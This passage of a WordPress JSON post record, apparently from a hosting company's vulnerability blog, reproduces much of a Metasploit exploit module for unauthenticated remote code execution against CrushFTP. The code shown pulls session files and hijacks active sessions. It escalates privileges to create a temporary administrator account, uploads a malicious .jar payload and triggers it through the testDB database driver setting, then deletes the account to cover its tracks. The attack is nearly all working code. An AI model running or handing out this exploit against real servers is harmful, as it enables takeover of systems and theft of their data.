logout&#8217;)<br \/>end<br \/>rescue CrushFtpError =&gt; e<br \/>vprint_bad(&#8220;[do_logout] An error occured when trying to logout: #{e.class} &#8211; #{e.message}&#8221;)<br \/>end<\/p>\n<p>def do_rce(cookie, is_windows)<br \/>jar_file = payload.encoded_jar({ arch: payload.arch.first })<br \/>jar_file.add_file(&#8220;#{class_name}.class&#8221;, constructor_class)<br \/>jar_filename = &#8220;#{rand_text_hex(4)}.jar&#8221;<br \/>jar_path = is_windows ? &#8220;C:\/Users\/Public\/#{jar_filename}&#8221; : &#8220;\/var\/tmp\/#{jar_filename}&#8221;<\/p>\n<p>print_status(&#8220;Uploading payload .jar file `#{jar_filename}` to #{jar_path}&#8221;)<br \/>begin<br \/>upload_file(jar_filename, jar_file.pack, class_name, cookie)<br \/>rescue CrushFtpError =&gt; e<br \/>raise CrushFtpUnknown, &#8220;[do_rce] Unable to upload the payload .jar file: #{e.class} &#8211; #{e.message}&#8221;<br \/>end<\/p>\n<p>print_status(&#8216;Triggering the payload&#8217;)<br \/>vars = {<br \/>&#8216;db_driver_file&#8217; =&gt; jar_path,<br \/>&#8216;db_driver&#8217; =&gt; class_name,<br \/>&#8216;db_url&#8217; =&gt; &#8216;jdbc:derby:.\/hax;create=true&#8217;,<br \/>&#8216;db_user&#8217; =&gt; rand_text(3..5),<br \/>&#8216;db_pass&#8217; =&gt; rand_text(10..15)<br \/>}<br \/>begin<br \/>send_query_api(command: &#8216;testDB&#8217;, cookie: cookie, vars: vars, timeout: 0)<br \/>rescue CrushFtpNoAccessError<br \/># Expecting no response<br \/>end<\/p>\n<p>register_files_for_cleanup(jar_path)<br \/>end<\/p>\n<p>def delete_user(username, cookie)<br \/>vars = {<br \/>&#8216;data_action&#8217; =&gt; &#8216;delete&#8217;,<br \/>&#8216;serverGroup&#8217; =&gt; &#8216;MainUsers&#8217;,<br \/>&#8216;usernames&#8217; =&gt; username,<br \/>&#8216;user&#8217; =&gt; &#8216;&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;&#8217;,<br \/>&#8216;xmlItem&#8217; =&gt; &#8216;user&#8217;,<br \/>&#8216;vfs_items&#8217; =&gt; &#8216;&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;&lt;vfs type=&#8221;vector&#8221;&gt;&lt;\/vfs&gt;&#8217;,<br \/>&#8216;permissions&#8217; =&gt; &#8216;&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;&lt;permissions type=&#8221;vector&#8221;&gt;&lt;\/permissions&gt;&#8217;<br \/>}<br \/>send_query_api(command: &#8216;setUserItem&#8217;, cookie: cookie, vars: vars)<br \/>end<\/p>\n<p>def exploit<br \/>admin_creds = nil<br \/>is_windows = nil<br \/>loop do<br \/>print_status(&#8216;Downloading the session file&#8217;)<br \/>session_file = get_session_file<br \/>unless session_file<br \/>print_status(&#8220;No session file, wait #{datastore[&#8216;SESSION_FILE_DELAY&#8217;]} seconds and try again&#8230; (Ctrl-C to exit)&#8221;)<br \/>sleep datastore[&#8216;SESSION_FILE_DELAY&#8217;]next<br \/>end<\/p>\n<p>print_status(&#8216;Looking for the valid sessions&#8217;)<br \/>session_list = check_sessions(session_file)<br \/>if session_list.empty?<br \/>print_status(&#8220;No valid sessions found, wait #{datastore[&#8216;SESSION_FILE_DELAY&#8217;]} seconds and try again&#8230; (Ctrl-C to exit)&#8221;)<br \/>sleep datastore[&#8216;SESSION_FILE_DELAY&#8217;]next<br \/>end<\/p>\n<p># First, check if we have active admin sessions to go ahead and directly go the RCE part.<br \/>session_list.each do |session|<br \/>print_status(&#8220;Checking if user #{session[:username]} is an admin (cookie: #{session[:cookie]})&#8221;)<br \/># This will return nil if it is not an admin session<br \/>is_windows = check_admin_and_windows(session[:cookie])<br \/>next if is_windows.nil?<\/p>\n<p>print_good(&#8216;It is an admin! Let\\&#8217;s create a temporary admin account&#8217;)<br \/>admin_creds = create_admin_account(session[:cookie], is_windows)<br \/>break<br \/>end<\/p>\n<p># If the previous step failed, try to escalate privileges with the remaining active sessions, if any.<br \/>if admin_creds.nil?<br \/>print_status(&#8216;Could not find any admin session or the admin account creation failed&#8217;)<br \/>session_list.each do |session|<br \/>print_status(&#8220;Attempting privilege escalation with session cookie #{session}&#8221;)<br \/>admin_creds, is_windows = do_priv_esc_and_check_windows(session)<br \/>break unless admin_creds.nil?<br \/>end<br \/>end<\/p>\n<p>break unless admin_creds.nil?<\/p>\n<p>print_status(<br \/>&#8220;Creation of an admin account failed with the current active sessions, wait #{datastore[&#8216;SESSION_FILE_DELAY&#8217;]}&#8221;\\<br \/>&#8216;seconds and try again&#8230; (Ctrl-C to exit)&#8217;<br \/>)<br \/>sleep datastore[&#8216;SESSION_FILE_DELAY&#8217;]end<\/p>\n<p>print_good(&#8220;Administrator account created: username=#{admin_creds[:username]}, password=#{admin_creds[:password]}&#8221;)<\/p>\n<p>cookie = do_login(admin_creds[:username], admin_creds[:password])<br \/>fail_with(Failure::NoAccess, &#8216;Unable to login with the new administrator credentials&#8217;) unless cookie<\/p>\n<p>do_rce(cookie, is_windows)<\/p>\n<p>print_status(&#8216;Cleanup the temporary admin account&#8217;)<br \/>delete_user(admin_creds[:username], cookie)<br \/>rescue CrushFtpError =&gt; e<br \/>fail_with(Failure::Unknown, &#8220;Unknown failure: #{e.class} &#8211; #{e.message}&#8221;)<br \/>ensure<br \/>do_logout(cookie) if cookie<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::FileDropperinclude Msf::Exploit::Remote::Java::HTTP::ClassLoaderprepend Msf::Exploit::Remote::AutoCheck class CrushFtpError &lt; StandardError; endclass CrushFtpNoAccessError &lt; CrushFtpError; endclass CrushFtpNotFoundError &lt; CrushFtpError; endclass CrushFtpUnknown &lt; CrushFtpError; end def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;CrushFTP Unauthenticated RCE&#8217;,&#8216;Description&#8217; =&gt; %q{This exploit module leverages an Improperly Controlled Modificationof Dynamically-Determined &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56260","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56260","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56260"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56260\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56260"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56260"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56260"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}